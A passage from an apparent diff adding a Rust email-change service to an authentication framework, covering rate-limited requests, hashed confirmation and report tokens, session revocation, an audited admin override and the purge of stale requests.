| 206 | + /// - [`AppError::Validation`] — malformed address, address identical to the | |
| 207 | + /// current one, or address already taken by another account. | |
| 208 | + /// - [`AppError::NotFound`] — unknown `user_id`. | |
| 209 | + pub async fn request_change( | |
| 210 | + &self, | |
| 211 | + db: &DatabaseConnection, | |
| 212 | + user_id: Uuid, | |
| 213 | + new_email: &str, | |
| 214 | + current_password: &str, | |
| 215 | + ) -> Result<(), AppError> { | |
| 216 | + // 1. Per-user budget: the abuse to bound is "one account spamming | |
| 217 | + // third-party mailboxes", hence the user id as key. | |
| 218 | + self.rate_limiter.check_sliding_window( | |
| 219 | + &format!("email_change:{user_id}"), | |
| 220 | + EMAIL_CHANGE_RATE_LIMIT_MAX, | |
| 221 | + EMAIL_CHANGE_RATE_LIMIT_WINDOW, | |
| 222 | + )?; | |
| 223 | + | |
| 224 | + // 2. Target account. | |
| 225 | + let user = UserService::get_user_by_id(db, user_id) | |
| 226 | + .await? | |
| 227 | + .ok_or_else(|| AppError::NotFound("User not found".to_string()))?; | |
| 228 | + | |
| 229 | + // 3. Re-authentication. The current address always contains '@', so the | |
| 230 | + // email branch of `verify_credentials` is taken deterministically, | |
| 231 | + // even for legacy usernames containing '@'. `verify_credentials` — | |
| 232 | + // not `authenticate_user` — is used on purpose: the RFC 0040 | |
| 233 | + // `validation_email_required` policy does not apply here. | |
| 234 | + AuthService::verify_credentials(db, &user.email, current_password).await?; | |
| 235 | + | |
| 236 | + // 4. Normalisation and checks. | |
| 237 | + let trimmed = new_email.trim(); | |
| 238 | + if !trimmed.contains('@') || !trimmed.contains('.') { | |
| 239 | + return Err(AppError::Validation("Invalid email format".to_string())); | |
| 240 | + } | |
| 241 | + if trimmed == user.email.as_str() { | |
| 242 | + return Err(AppError::Validation( | |
| 243 | + "New email address is identical to the current one".to_string(), | |
| 244 | + )); | |
| 245 | + } | |
| 246 | + if let Some(existing) = UserService::get_user_by_email(db, trimmed).await? { | |
| 247 | + if existing.id != user_id { | |
| 248 | + return Err(AppError::Validation(format!( | |
| 249 | + "Email '{trimmed}' already exists" | |
| 250 | + ))); | |
| 251 | + } | |
| 252 | + } | |
| 253 | + | |
| 254 | + // 5. One active request at a time, plus an opportunistic retention | |
| 255 | + // purge so a consumer that never starts the cleanup processor still | |
| 256 | + // honours the retention window for active accounts. | |
| 257 | + self.invalidate_previous_requests(db, user_id).await?; | |
| 258 | + Self::purge_stale_requests_for_user(db, user_id).await?; | |
| 259 | + | |
| 260 | + // 6. Two independent secrets: confirming and reporting are two | |
| 261 | + // different capabilities held by two different mailboxes. | |
| 262 | + let token = Uuid::new_v4().to_string(); | |
| 263 | + let report_token = Uuid::new_v4().to_string(); | |
| 264 | + let now = Utc::now(); | |
| 265 | + let expires_at = | |
| 266 | + now + Duration::hours(crate::config::tasks::email_validation_expiration_hours()); | |
| 267 | + | |
| 268 | + // 7. Persist the request. | |
| 269 | + pending_email_change::ActiveModel { | |
| 270 | + id: Set(Uuid::new_v4()), | |
| 271 | + user_id: Set(user_id), | |
| 272 | + new_email: Set(trimmed.to_string()), | |
| 273 | + token_hash: Set(Self::hash_token(&token)), | |
| 274 | + report_token_hash: Set(Self::hash_token(&report_token)), | |
| 275 | + expires_at: Set(expires_at), | |
| 276 | + used_at: NotSet, | |
| 277 | + reported_at: NotSet, | |
| 278 | + created_at: Set(now), | |
| 279 | + } | |
| 280 | + .insert(db) | |
| 281 | + .await?; | |
| 282 | + | |
| 283 | + // 8. Both notifications. Errors propagate: a request nobody can | |
| 284 | + // confirm is worthless, and the orphan row expires harmlessly. | |
| 285 | + let locale = Self::locale_for(db, user_id).await; | |
| 286 | + let confirm_url = format!( | |
| 287 | + "{}/api/v1/auth/email-change/confirm/{}", | |
| 288 | + self.email_config.email_base_url, token | |
| 289 | + ); | |
| 290 | + let report_url = format!( | |
| 291 | + "{}/api/v1/auth/email-change/report/{}", | |
| 292 | + self.email_config.email_base_url, report_token | |
| 293 | + ); | |
| 294 | + let hours = crate::config::tasks::email_validation_expiration_hours(); | |
| 295 | + | |
| 296 | + // Confirmation to the CANDIDATE address. | |
| 297 | + let (subject, body_html, body_text) = self | |
| 298 | + .build_validation_email(&locale, &user.username, &confirm_url, hours) | |
| 299 | + .await; | |
| 300 | + EmailQueueService::enqueue( | |
| 301 | + db, | |
| 302 | + trimmed.to_string(), | |
| 303 | + Some(user.username.clone()), | |
| 304 | + self.email_config.smtp_from.clone(), | |
| 305 | + self.email_config.smtp_from_name.clone(), | |
| 306 | + subject, | |
| 307 | + body_html, | |
| 308 | + body_text, | |
| 309 | + "email_change_validation".to_string(), | |
| 310 | + ) | |
| 311 | + .await?; | |
| 312 | + | |
| 313 | + // Notice + report link to the CURRENT address. It never carries the | |
| 314 | + // confirmation link, and the candidate address is masked. | |
| 315 | + let (subject, body_html, body_text) = self | |
| 316 | + .build_notice_email(&locale, &user.username, &report_url, trimmed) | |
| 317 | + .await; | |
| 318 | + EmailQueueService::enqueue( | |
| 319 | + db, | |
| 320 | + user.email.clone(), | |
| 321 | + Some(user.username.clone()), | |
| 322 | + self.email_config.smtp_from.clone(), | |
| 323 | + self.email_config.smtp_from_name.clone(), | |
| 324 | + subject, | |
| 325 | + body_html, | |
| 326 | + body_text, | |
| 327 | + "email_change_notice".to_string(), | |
| 328 | + ) | |
| 329 | + .await?; | |
| 330 | + | |
| 331 | + tracing::info!( | |
| 332 | + user_id = %user_id, | |
| 333 | + candidate = %mask_email(trimmed), | |
| 334 | + "Email-change request opened; users.email left untouched" | |
| 335 | + ); | |
| 336 | + | |
| 337 | + Ok(()) | |
| 338 | + } | |
| 339 | + | |
| 340 | + /// Apply a pending change from its confirmation token. | |
| 341 | + /// | |
| 342 | + /// Confirming from the page the emailed link opens **is** the proof of | |
| 343 | + /// possession, so the address lands already verified: `users.email = | |
| 344 | + /// new_email`, `email_verified = true`, `email_verified_at = now()`. | |
| 345 | + /// Uniqueness is re-checked here because another account may have claimed | |
| 346 | + /// the address in the meantime. | |
| 347 | + /// | |
| 348 | + /// All refresh tokens are revoked (same contract as | |
| 349 | + /// [`UserService::change_password_direct`](crate::services::user_service::UserService::change_password_direct)), | |
| 350 | + /// and any pending password-change request is dropped through | |
| 351 | + /// [`PasswordChangeService::invalidate_on_email_change`](crate::services::password_change_service::PasswordChangeService::invalidate_on_email_change): | |
| 352 | + /// a confirmation link mailed to the previous address must never be usable | |
| 353 | + /// once that address no longer belongs to the account. | |
| 354 | + /// | |
| 355 | + /// Hooks fired here, best-effort: | |
| 356 | + /// [`RustwardenHooks::on_email_verified`] (the click *is* the proof of | |
| 357 | + /// possession) and [`RustwardenHooks::on_audit_event`] with kind | |
| 358 | + /// `user.email_changed`. | |
| 359 | + /// | |
| 360 | + /// Returns the user id whose address changed. | |
| 361 | + /// | |
| 362 | + /// ```rust,ignore | |
| 363 | + /// use rustwarden_core::services::email_change_service::EmailChangeService; | |
| 364 | + /// | |
| 365 | + /// let user_id = EmailChangeService::new(email_config) | |
| 366 | + /// .confirm_change(&db, token, hooks.as_ref()) | |
| 367 | + /// .await?; | |
| 368 | + /// ``` | |
| 369 | + /// | |
| 370 | + /// # Errors | |
| 371 | + /// | |
| 372 | + /// - [`AppError::Validation`] — unknown, expired or already-used token, or | |
| 373 | + /// the candidate address is no longer available. | |
| 374 | + /// - [`AppError::NotFound`] — the user was deleted since the request. | |
| 375 | + pub async fn confirm_change( | |
| 376 | + &self, | |
| 377 | + db: &DatabaseConnection, | |
| 378 | + token: &str, | |
| 379 | + hooks: Option<&Arc<dyn RustwardenHooks>>, | |
| 380 | + ) -> Result<Uuid, AppError> { | |
| 381 | + // 1. Lookup by hash — the plain token is never stored. | |
| 382 | + let token_hash = Self::hash_token(token); | |
| 383 | + let row = pending_email_change::Entity::find() | |
| 384 | + .filter(pending_email_change::Column::TokenHash.eq(&token_hash)) | |
| 385 | + .one(db) | |
| 386 | + .await? | |
| 387 | + .ok_or_else(|| AppError::Validation("Invalid email-change token".to_string()))?; | |
| 388 | + | |
| 389 | + // 2 & 3. Single use, then expiration. | |
| 390 | + if row.is_used() { | |
| 391 | + return Err(AppError::Validation( | |
| 392 | + "This email-change link has already been used".to_string(), | |
| 393 | + )); | |
| 394 | + } | |
| 395 | + if row.is_expired() { | |
| 396 | + return Err(AppError::Validation( | |
| 397 | + "This email-change link has expired".to_string(), | |
| 398 | + )); | |
| 399 | + } | |
| 400 | + | |
| 401 | + // 4. `reported_at` is deliberately NOT a gate: a report alerts, it | |
| 402 | + // never refuses (see the RFC's dedicated section). | |
| 403 | + | |
| 404 | + // 5. Uniqueness may have been lost since the request was opened. The | |
| 405 | + // row is NOT consumed, so the link keeps working if the address is | |
| 406 | + // released before expiration. | |
| 407 | + if let Some(existing) = UserService::get_user_by_email(db, &row.new_email).await? { | |
| 408 | + if existing.id != row.user_id { | |
| 409 | + return Err(AppError::Validation(EMAIL_NO_LONGER_AVAILABLE.to_string())); | |
| 410 | + } | |
| 411 | + } | |
| 412 | + | |
| 413 | + let user = UserService::get_user_by_id(db, row.user_id) | |
| 414 | + .await? | |
| 415 | + .ok_or_else(|| AppError::NotFound("User not found".to_string()))?; | |
| 416 | + let previous_email = user.email.clone(); | |
| 417 | + let username = user.username.clone(); | |
| 418 | + let now = Utc::now(); | |
| 419 | + | |
| 420 | + // 6. Write the proven address, already verified. | |
| 421 | + let mut user_active: user::ActiveModel = user.into(); | |
| 422 | + user_active.email = Set(row.new_email.clone()); | |
| 423 | + user_active.email_verified = Set(true); | |
| 424 | + user_active.email_verified_at = Set(Some(now)); | |
| 425 | + user_active.updated_at = Set(now); | |
| 426 | + user_active | |
| 427 | + .update(db) | |
| 428 | + .await | |
| 429 | + .map_err(Self::map_email_write_error)?; | |
| 430 | + | |
| 431 | + // 7. Consume the request. | |
| 432 | + let mut row_active: pending_email_change::ActiveModel = row.clone().into(); | |
| 433 | + row_active.used_at = Set(Some(now)); | |
| 434 | + row_active.update(db).await?; | |
| 435 | + | |
| 436 | + // 8. The login identity just moved: every session re-authenticates. | |
| 437 | + RefreshTokenService::revoke_all_tokens_for_user(db, row.user_id).await?; | |
| 438 | + | |
| 439 | + // 9. A password-change link mailed to the previous address must not | |
| 440 | + // survive the address it was sent to. Logged, never fatal: the | |
| 441 | + // address change is already written. | |
| 442 | + if let Err(e) = PasswordChangeService::new() | |
| 443 | + .invalidate_on_email_change(db, row.user_id) | |
| 444 | + .await | |
| 445 | + { | |
| 446 | + tracing::warn!( | |
| 447 | + user_id = %row.user_id, | |
| 448 | + "Failed to invalidate pending password-change requests after email change: {}", | |
| 449 | + e | |
| 450 | + ); | |
| 451 | + } | |
| 452 | + | |
| 453 | + // 10. Durable audit trail, masked addresses only. | |
| 454 | + let message = format!( | |
| 455 | + "user={} old={} new={}", | |
| 456 | + username, | |
| 457 | + mask_email(&previous_email), | |
| 458 | + mask_email(&row.new_email) | |
| 459 | + ); | |
| 460 | + Self::write_audit_log( | |
| 461 | + db, | |
| 462 | + "email_changed", | |
| 463 | + "INFO", | |
| 464 | + Some(row.user_id), | |
| 465 | + None, | |
| 466 | + message, | |
| 467 | + ) | |
| 468 | + .await; | |
| 469 | + | |
| 470 | + // 11. Hooks, dispatched from the service so headless consumers mounting | |
| 471 | + // their own confirmation route get the same events. | |
| 472 | + if let Some(hooks) = hooks { | |
| 473 | + if let Err(e) = hooks.on_email_verified(db, row.user_id).await { | |
| 474 | + tracing::warn!("RustwardenHooks::on_email_verified failed: {}", e); | |
| 475 | + } | |
| 476 | + let metadata = serde_json::json!({ | |
| 477 | + "previous_email": mask_email(&previous_email), | |
| 478 | + "new_email": mask_email(&row.new_email), | |
| 479 | + }); | |
| 480 | + let event = AuditEvent { | |
| 481 | + // Actor and target are the same account here — this is a | |
| 482 | + // self-service change — but the target is still named, so a | |
| 483 | + // consumer routing events on `target` sees the self-service | |
| 484 | + // path alongside `user.email_changed_by_admin`. | |
| 485 | + kind: "user.email_changed", | |
| 486 | + actor_id: Some(row.user_id), | |
| 487 | + target: Some(("user", row.user_id)), | |
| 488 | + metadata: &metadata, | |
| 489 | + }; | |
| 490 | + if let Err(e) = hooks.on_audit_event(db, event).await { | |
| 491 | + tracing::warn!("RustwardenHooks::on_audit_event failed: {}", e); | |
| 492 | + } | |
| 493 | + } | |
| 494 | + | |
| 495 | + Ok(row.user_id) | |
| 496 | + } | |
| 497 | + | |
| 498 | + /// Record that the current address owner flagged a request as suspicious. | |
| 499 | + /// | |
| 500 | + /// Writes an `audit_logs` row, emits | |
| 501 | + /// [`RustwardenHooks::on_audit_event`] with kind `user.email_change_reported` | |
| 502 | + /// and queues an alert to every administrator. | |
| 503 | + /// | |
| 504 | + /// **This never blocks the change.** A report is a signal for operators, | |
| 505 | + /// not an authorisation gate: turning it into one would hand any reader of | |
| 506 | + /// the old mailbox a denial-of-service lever over the account owner. | |
| 507 | + /// | |
| 508 | + /// Idempotent: a request already reported returns `Ok` without re-notifying. | |
| 509 | + /// | |
| 510 | + /// ```rust,ignore | |
| 511 | + /// use rustwarden_core::services::email_change_service::EmailChangeService; | |
| 512 | + /// | |
| 513 | + /// let user_id = EmailChangeService::new(email_config) | |
| 514 | + /// .report_suspicious(&db, report_token, hooks.as_ref()) | |
| 515 | + /// .await?; | |
| 516 | + /// ``` | |
| 517 | + /// | |
| 518 | + /// # Errors | |
| 519 | + /// | |
| 520 | + /// - [`AppError::Validation`] — unknown report token. | |
| 521 | + pub async fn report_suspicious( | |
| 522 | + &self, | |
| 523 | + db: &DatabaseConnection, | |
| 524 | + report_token: &str, | |
| 525 | + hooks: Option<&Arc<dyn RustwardenHooks>>, | |
| 526 | + ) -> Result<Uuid, AppError> { | |
| 527 | + // 1. Lookup by the *report* hash: a different secret than the one | |
| 528 | + // mailed to the candidate address. | |
| 529 | + let report_token_hash = Self::hash_token(report_token); | |
| 530 | + let row = pending_email_change::Entity::find() | |
| 531 | + .filter(pending_email_change::Column::ReportTokenHash.eq(&report_token_hash)) | |
| 532 | + .one(db) | |
| 533 | + .await? | |
| 534 | + .ok_or_else(|| AppError::Validation("Invalid report token".to_string()))?; | |
| 535 | + | |
| 536 | + // 2. Idempotence — double click, page refresh or browser form resend. | |
| 537 | + if row.is_reported() { | |
| 538 | + return Ok(row.user_id); | |
| 539 | + } | |
| 540 | + | |
| 541 | + // 3. Flag it, even when expired or already consumed: the signal keeps | |
| 542 | + // its value for the operator. | |
| 543 | + let now = Utc::now(); | |
| 544 | + let user_id = row.user_id; | |
| 545 | + let candidate = row.new_email.clone(); | |
| 546 | + let mut row_active: pending_email_change::ActiveModel = row.into(); | |
| 547 | + row_active.reported_at = Set(Some(now)); | |
| 548 | + row_active.update(db).await?; | |
| 549 | + | |
| 550 | + // 4. Audit trail. | |
| 551 | + let message = format!("user_id={} candidate={}", user_id, mask_email(&candidate)); | |
| 552 | + Self::write_audit_log( | |
| 553 | + db, | |
| 554 | + "email_change_reported", | |
| 555 | + "WARN", | |
| 556 | + None, | |
| 557 | + Some(user_id), | |
| 558 | + message, | |
| 559 | + ) | |
| 560 | + .await; | |
| 561 | + | |
| 562 | + // 5. Hook fan-out. | |
| 563 | + if let Some(hooks) = hooks { | |
| 564 | + let metadata = serde_json::json!({ | |
| 565 | + "user_id": user_id.to_string(), | |
| 566 | + "candidate_email": mask_email(&candidate), | |
| 567 | + }); | |
| 568 | + let event = AuditEvent { | |
| 569 | + kind: "user.email_change_reported", | |
| 570 | + actor_id: None, | |
| 571 | + target: Some(("user", user_id)), | |
| 572 | + metadata: &metadata, | |
| 573 | + }; | |
| 574 | + if let Err(e) = hooks.on_audit_event(db, event).await { | |
| 575 | + tracing::warn!("RustwardenHooks::on_audit_event failed: {}", e); | |
| 576 | + } | |
| 577 | + } | |
| 578 | + | |
| 579 | + // 6. Alert every administrator. Best-effort: the report is already | |
| 580 | + // recorded, a mail failure must not turn it into an error. | |
| 581 | + self.notify_admins_of_report(db, user_id, &candidate).await; | |
| 582 | + | |
| 583 | + Ok(user_id) | |
| 584 | + } | |
| 585 | + | |
| 586 | + /// Read-only state of a **confirmation** token. | |
| 587 | + /// | |
| 588 | + /// Performs a single indexed `SELECT` and writes nothing: this is what | |
| 589 | + /// makes `GET /api/v1/auth/email-change/confirm/{token}` immune to the | |
| 590 | + /// link prefetching done by anti-phishing gateways and mail clients. | |
| 591 | + /// | |
| 592 | + /// ```rust,ignore | |
| 593 | + /// use rustwarden_core::services::email_change_service::{ | |
| 594 | + /// EmailChangeLinkState, EmailChangeService, | |
| 595 | + /// }; | |
| 596 | + /// | |
| 597 | + /// match EmailChangeService::inspect_confirmation_token(&db, &token).await? { | |
| 598 | + /// EmailChangeLinkState::Usable => { /* render the confirm form */ } | |
| 599 | + /// _ => { /* render an explanation, no form */ } | |
| 600 | + /// } | |
| 601 | + /// ``` | |
| 602 | + /// | |
| 603 | + /// # Errors | |
| 604 | + /// | |
| 605 | + /// Returns [`AppError::Database`] if the lookup fails. | |
| 606 | + pub async fn inspect_confirmation_token( | |
| 607 | + db: &DatabaseConnection, | |
| 608 | + token: &str, | |
| 609 | + ) -> Result<EmailChangeLinkState, AppError> { | |
| 610 | + let token_hash = Self::hash_token(token); | |
| 611 | + let row = pending_email_change::Entity::find() | |
| 612 | + .filter(pending_email_change::Column::TokenHash.eq(&token_hash)) | |
| 613 | + .one(db) | |
| 614 | + .await?; | |
| 615 | + Ok(Self::state_of(row.as_ref())) | |
| 616 | + } | |
| 617 | + | |
| 618 | + /// Read-only state of a **report** token. Same no-side-effect contract as | |
| 619 | + /// [`EmailChangeService::inspect_confirmation_token`]. | |
| 620 | + /// | |
| 621 | + /// ```rust,ignore | |
| 622 | + /// let state = EmailChangeService::inspect_report_token(&db, &report_token).await?; | |
| 623 | + /// ``` | |
| 624 | + /// | |
| 625 | + /// # Errors | |
| 626 | + /// | |
| 627 | + /// Returns [`AppError::Database`] if the lookup fails. | |
| 628 | + pub async fn inspect_report_token( | |
| 629 | + db: &DatabaseConnection, | |
| 630 | + report_token: &str, | |
| 631 | + ) -> Result<EmailChangeLinkState, AppError> { | |
| 632 | + let token_hash = Self::hash_token(report_token); | |
| 633 | + let row = pending_email_change::Entity::find() | |
| 634 | + .filter(pending_email_change::Column::ReportTokenHash.eq(&token_hash)) | |
| 635 | + .one(db) | |
| 636 | + .await?; | |
| 637 | + Ok(Self::state_of(row.as_ref())) | |
| 638 | + } | |
| 639 | + | |
| 640 | + /// Map a looked-up row to its link state. `Used` wins over `Expired`: | |
| 641 | + /// "already done" is the more actionable message of the two. | |
| 642 | + fn state_of(row: Option<&pending_email_change::Model>) -> EmailChangeLinkState { | |
| 643 | + match row { | |
| 644 | + None => EmailChangeLinkState::Unknown, | |
| 645 | + Some(row) if row.is_used() => EmailChangeLinkState::Used, | |
| 646 | + Some(row) if row.is_expired() => EmailChangeLinkState::Expired, | |
| 647 | + Some(_) => EmailChangeLinkState::Usable, | |
| 648 | + } | |
| 649 | + } | |
| 650 | + | |
| 651 | + /// Administrative override: write `new_email` without confirmation. | |
| 652 | + /// | |
| 653 | + /// Operational recourse for the one dead end the two-step flow cannot | |
| 654 | + /// solve on its own: a user who lost **both** the password and the access | |
| 655 | + /// to the account's current mailbox. The v1 capability — an admin fixing | |
| 656 | + /// an address through `PUT /admin/users/{id}` — is preserved, but it | |
| 657 | + /// becomes an **explicit, audited operation** instead of a side effect of | |
| 658 | + /// [`UserService::update_profile`](crate::services::user_service::UserService::update_profile). | |
| 659 | + /// | |
| 660 | + /// Contract: | |
| 661 | + /// - `actor_id` **must** carry the `admin` role | |
| 662 | + /// ([`UserService::get_user_roles`](crate::services::user_service::UserService::get_user_roles)); | |
| 663 | + /// otherwise [`AppError::Forbidden`] and nothing is written. | |
| 664 | + /// - `users.email = new_email`, `email_verified = true`, | |
| 665 | + /// `email_verified_at = now()` — the operator vouches for the address | |
| 666 | + /// after an out-of-band identity check. | |
| 667 | + /// - Every pending request of the target user is consumed, so a stale | |
| 668 | + /// confirmation link cannot resurrect the previous candidate address. | |
| 669 | + /// - All refresh tokens of the **target** account are revoked, exactly as | |
| 670 | + /// in [`Self::confirm_change`]; the acting administrator's own sessions | |
| 671 | + /// are untouched. | |
| 672 | + /// - An `audit_logs` row is written (`action = "email_changed_by_admin"`, | |
| 673 | + /// `level = "WARN"`, `user_id = actor_id`, `target_user_id = user_id`, | |
| 674 | + /// masked addresses) and [`RustwardenHooks::on_audit_event`] is emitted | |
| 675 | + /// with kind `user.email_changed_by_admin`. | |
| 676 | + /// - [`RustwardenHooks::on_email_verified`] is **not** emitted: there was | |
| 677 | + /// no proof of possession by the address owner. | |
| 678 | + /// - Both mailboxes are notified. Neither mail carries an action link — | |
| 679 | + /// there is nothing left to confirm. | |
| 680 | + /// | |
| 681 | + /// No rate limit and no password check: authorisation is the admin role, | |
| 682 | + /// enforced by the caller's route middleware **and** re-checked here. | |
| 683 | + /// Echoing the target's current address is a silent no-op, because admin | |
| 684 | + /// forms resubmit every field. | |
| 685 | + /// | |
| 686 | + /// ```rust,ignore | |
| 687 | + /// use rustwarden_core::services::email_change_service::EmailChangeService; | |
| 688 | + /// | |
| 689 | + /// // `admin_id` must hold the `admin` role, or the call fails with Forbidden. | |
| 690 | + /// EmailChangeService::new(email_config) | |
| 691 | + /// .admin_force_change(&db, admin_id, user_id, "fixed@example.com", None) | |
| 692 | + /// .await?; | |
| 693 | + /// ``` | |
| 694 | + /// | |
| 695 | + /// # Errors | |
| 696 | + /// | |
| 697 | + /// - [`AppError::Forbidden`] — `actor_id` is not an administrator. | |
| 698 | + /// - [`AppError::Validation`] — malformed address, or address already | |
| 699 | + /// taken by another account. | |
| 700 | + /// - [`AppError::NotFound`] — unknown `actor_id` or unknown `user_id`. | |
| 701 | + pub async fn admin_force_change( | |
| 702 | + &self, | |
| 703 | + db: &DatabaseConnection, | |
| 704 | + actor_id: Uuid, | |
| 705 | + user_id: Uuid, | |
| 706 | + new_email: &str, | |
| 707 | + hooks: Option<&Arc<dyn RustwardenHooks>>, | |
| 708 | + ) -> Result<(), AppError> { | |
| 709 | + // 1. Authorisation is re-checked in the service: a headless call | |
| 710 | + // straight to the service must not bypass the route middleware. | |
| 711 | + let actor = UserService::get_user_by_id(db, actor_id) | |
| 712 | + .await? | |
| 713 | + .ok_or_else(|| AppError::NotFound("Actor not found".to_string()))?; | |
| 714 | + let roles = UserService::get_user_roles(db, actor_id).await?; | |
| 715 | + if !roles.iter().any(|role| role == "admin") { | |
| 716 | + return Err(AppError::Forbidden); | |
| 717 | + } | |
| 718 | + | |
| 719 | + // 2. Self-targeting is allowed: an admin changing their own address is | |
| 720 | + // still an admin acting as an admin, and the trail shows it. | |
| 721 | + let target = UserService::get_user_by_id(db, user_id) | |
| 722 | + .await? | |
| 723 | + .ok_or_else(|| AppError::NotFound("User not found".to_string()))?; | |
| 724 | + | |
| 725 | + // 3. Same checks as `request_change`, minus the "identical address" | |
| 726 | + // error which becomes a silent no-op here. | |
| 727 | + let trimmed = new_email.trim(); | |
| 728 | + if !trimmed.contains('@') || !trimmed.contains('.') { | |
| 729 | + return Err(AppError::Validation("Invalid email format".to_string())); | |
| 730 | + } | |
| 731 | + if trimmed == target.email.as_str() { | |
| 732 | + return Ok(()); | |
| 733 | + } | |
| 734 | + if let Some(existing) = UserService::get_user_by_email(db, trimmed).await? { | |
| 735 | + if existing.id != user_id { | |
| 736 | + return Err(AppError::Validation(format!( | |
| 737 | + "Email '{trimmed}' already exists" | |
| 738 | + ))); | |
| 739 | + } | |
| 740 | + } | |
| 741 | + | |
| 742 | + // 4. A still-valid confirmation link must not overwrite the address | |
| 743 | + // the operator just set. | |
| 744 | + self.invalidate_previous_requests(db, user_id).await?; | |
| 745 | + | |
| 746 | + let previous_email = target.email.clone(); | |
| 747 | + let username = target.username.clone(); | |
| 748 | + let now = Utc::now(); | |
| 749 | + | |
| 750 | + // 5. The verified flag is set because the operator vouches out of band, | |
| 751 | + // exactly like `admin_reset_password` does for the password. | |
| 752 | + let mut target_active: user::ActiveModel = target.into(); | |
| 753 | + target_active.email = Set(trimmed.to_string()); | |
| 754 | + target_active.email_verified = Set(true); | |
| 755 | + target_active.email_verified_at = Set(Some(now)); | |
| 756 | + target_active.updated_at = Set(now); | |
| 757 | + target_active | |
| 758 | + .update(db) | |
| 759 | + .await | |
| 760 | + .map_err(Self::map_email_write_error)?; | |
| 761 | + | |
| 762 | + // 6. Target sessions only — the acting admin keeps theirs. | |
| 763 | + RefreshTokenService::revoke_all_tokens_for_user(db, user_id).await?; | |
| 764 | + | |
| 765 | + // 7. Same reason as in `confirm_change`. | |
| 766 | + if let Err(e) = PasswordChangeService::new() | |
| 767 | + .invalidate_on_email_change(db, user_id) | |
| 768 | + .await | |
| 769 | + { | |
| 770 | + tracing::warn!( | |
| 771 | + user_id = %user_id, | |
| 772 | + "Failed to invalidate pending password-change requests after admin email change: {}", | |
| 773 | + e | |
| 774 | + ); | |
| 775 | + } | |
| 776 | + | |
| 777 | + // 8. WARN, not INFO: an identity write without proof of possession | |
| 778 | + // deserves to surface. | |
| 779 | + let message = format!( | |
| 780 | + "actor={} user={} old={} new={}", | |
| 781 | + actor.username, | |
| 782 | + username, | |
| 783 | + mask_email(&previous_email), | |
| 784 | + mask_email(trimmed) | |
| 785 | + ); | |
| 786 | + Self::write_audit_log( | |
| 787 | + db, | |
| 788 | + "email_changed_by_admin", | |
| 789 | + "WARN", | |
| 790 | + Some(actor_id), | |
| 791 | + Some(user_id), | |
| 792 | + message, | |
| 793 | + ) | |
| 794 | + .await; | |
| 795 | + | |
| 796 | + // 9. `on_email_verified` is deliberately NOT emitted here. | |
| 797 | + if let Some(hooks) = hooks { | |
| 798 | + let metadata = serde_json::json!({ | |
| 799 | + "previous_email": mask_email(&previous_email), | |
| 800 | + "new_email": mask_email(trimmed), | |
| 801 | + }); | |
| 802 | + let event = AuditEvent { | |
| 803 | + kind: "user.email_changed_by_admin", | |
| 804 | + actor_id: Some(actor_id), | |
| 805 | + target: Some(("user", user_id)), | |
| 806 | + metadata: &metadata, | |
| 807 | + }; | |
| 808 | + if let Err(e) = hooks.on_audit_event(db, event).await { | |
| 809 | + tracing::warn!("RustwardenHooks::on_audit_event failed: {}", e); | |
| 810 | + } | |
| 811 | + } | |
| 812 | + | |
| 813 | + // 10. Both mailboxes, no action link. Best-effort: the write is done | |
| 814 | + // and the operator already has a synchronous return value. | |
| 815 | + self.notify_admin_forced_change(db, user_id, &username, &previous_email, trimmed) | |
| 816 | + .await; | |
| 817 | + | |
| 818 | + Ok(()) | |
| 819 | + } | |
| 820 | + | |
| 821 | + /// Hard-delete rows expired for longer than | |
| 822 | + /// [`PENDING_EMAIL_CHANGE_RETENTION_DAYS`] (30 days, a compile-time | |
| 823 | + /// constant — no environment variable). | |
| 824 | + /// | |
| 825 | + /// The predicate is `expires_at < now() - retention`, whatever the row | |
| 826 | + /// state (consumed, reported, or simply stale): past that delay the row has | |
| 827 | + /// no operational value left, the durable trail being in `audit_logs`. | |
| 828 | + /// | |
| 829 | + /// Returns the number of deleted rows. Called by | |
| 830 | + /// [`PendingEmailChangeCleanupProcessor`](crate::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor), | |
| 831 | + /// and public so a consumer can drive it from its own cron instead. **The | |
| 832 | + /// framework starts nothing by itself**: the consumer must call `.start()` | |
| 833 | + /// on the processor. | |
| 834 | + /// | |
| 835 | + /// ```rust,ignore | |
| 836 | + /// use rustwarden_core::services::email_change_service::EmailChangeService; | |
| 837 | + /// | |
| 838 | + /// let deleted = EmailChangeService::cleanup_expired(&db).await?; | |
| 839 | + /// println!("{deleted} stale email-change request(s) purged"); | |
| 840 | + /// ``` | |
| 841 | + /// | |
| 842 | + /// # Errors | |
| 843 | + /// | |
| 844 | + /// - [`AppError::Database`] — the delete statement failed. | |
| 845 | + pub async fn cleanup_expired(db: &DatabaseConnection) -> Result<u64, AppError> { | |
| 846 | + let cutoff = Utc::now() - Duration::days(PENDING_EMAIL_CHANGE_RETENTION_DAYS); | |
| 847 | + let result = pending_email_change::Entity::delete_many() | |
| 848 | + .filter(pending_email_change::Column::ExpiresAt.lt(cutoff)) | |
| 849 | + .exec(db) | |
| 850 | + .await?; | |
| 851 | + Ok(result.rows_affected) | |
| 852 | + } | |
| 853 | + | |
| 854 | + // ── Internals ─────────────────────────────────────────────────────────── | |
| 855 | + | |
| 856 | + /// Hash a token using SHA-256 (hex, 64 chars). | |
| 857 | + fn hash_token(token: &str) -> String { | |
| 858 | + let mut hasher = Sha256::new(); | |
| 859 | + hasher.update(token.as_bytes()); | |
| 860 | + format!("{:x}", hasher.finalize()) | |
| 861 | + } | |
| 862 | + | |
| 863 | + /// Mark every pending request of this user as consumed. | |
| 864 | + /// | |
| 865 | + /// Functional replacement for the partial unique index `sea-query` cannot | |
| 866 | + /// express portably — same approach as | |
| 867 | + /// `EmailValidationService::invalidate_previous_tokens`. | |
| 868 | + async fn invalidate_previous_requests( | |
| 869 | + &self, | |
| 870 | + db: &DatabaseConnection, | |
| 871 | + user_id: Uuid, | |
| 872 | + ) -> Result<(), AppError> { | |
| 873 | + let rows = pending_email_change::Entity::find() | |
| 874 | + .filter(pending_email_change::Column::UserId.eq(user_id)) | |
| 875 | + .filter(pending_email_change::Column::UsedAt.is_null()) | |
| 876 | + .all(db) | |
| 877 | + .await?; | |
| 878 | + | |
| 879 | + let now = Utc::now(); | |
| 880 | + for row in rows { | |
| 881 | + let mut active: pending_email_change::ActiveModel = row.into(); | |
| 882 | + active.used_at = Set(Some(now)); | |
| 883 | + active.update(db).await?; | |
| 884 | + } | |
| 885 | + | |
| 886 | + Ok(()) | |
| 887 | + } | |
| 888 | + | |
